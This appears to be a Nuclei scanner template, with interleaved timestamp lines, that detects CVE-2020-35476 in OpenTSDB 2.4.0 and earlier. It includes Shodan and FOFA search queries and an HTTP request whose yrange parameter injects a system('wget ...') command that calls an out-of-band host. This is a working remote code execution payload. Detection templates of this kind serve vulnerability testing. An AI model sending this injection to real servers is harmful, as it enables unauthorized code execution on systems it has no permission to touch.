2021-01-31 17:35:32 +00:00
id : CVE-2020-35476
info :
2023-02-01 18:26:18 +00:00
name : OpenTSDB <=2.4.0 - Remote Code Execution
2021-01-31 17:35:32 +00:00
author : pikpikcu
severity : critical
2023-01-02 09:21:39 +00:00
description : |
2023-02-01 17:15:00 +00:00
OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/OpenTSDB/opentsdb/issues/2051
2022-12-29 13:15:38 +00:00
- http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
2023-02-01 17:15:00 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-35476
cwe-id : CWE-78
2023-12-12 11:07:52 +00:00
epss-score : 0.95741
2024-01-14 13:49:27 +00:00
epss-percentile : 0.99293
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
2023-01-02 09:21:39 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:22:36 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : opentsdb
product : opentsdb
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"OpenTSDB"
- http.html:"opentsdb"
2024-05-31 19:23:20 +00:00
fofa-query : body="opentsdb"
2023-01-05 11:21:19 +00:00
tags : cve,cve2020,opentsdb,rce,packetstorm
2021-01-31 17:35:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-01-31 17:35:32 +00:00
- method : GET
path :
2023-01-02 09:16:58 +00:00
- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
2021-01-31 17:35:32 +00:00
matchers-condition : and
matchers :
2021-03-10 14:05:34 +00:00
- type : word
2023-01-02 09:16:58 +00:00
part : body
2021-03-10 14:05:34 +00:00
words :
2021-01-31 17:35:32 +00:00
- plotted
- timing
2021-02-03 11:19:03 +00:00
- cachehit
2021-03-10 14:03:49 +00:00
condition : and
2021-03-10 14:05:34 +00:00
2021-02-03 09:57:16 +00:00
- type : word
2023-01-02 09:16:58 +00:00
part : header
2021-02-03 09:57:16 +00:00
words :
- application/json
2022-04-29 19:58:07 +00:00
2023-01-02 09:16:58 +00:00
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022100fdb109b607889bf590586e486c0e498d2668476d2c09695b3e2947540b14db8702202840af665dd3c58d0d965dd7dd956ad206372545f4313295757071d7f05b60c8:922c64590222798bb761d5b6d8e72950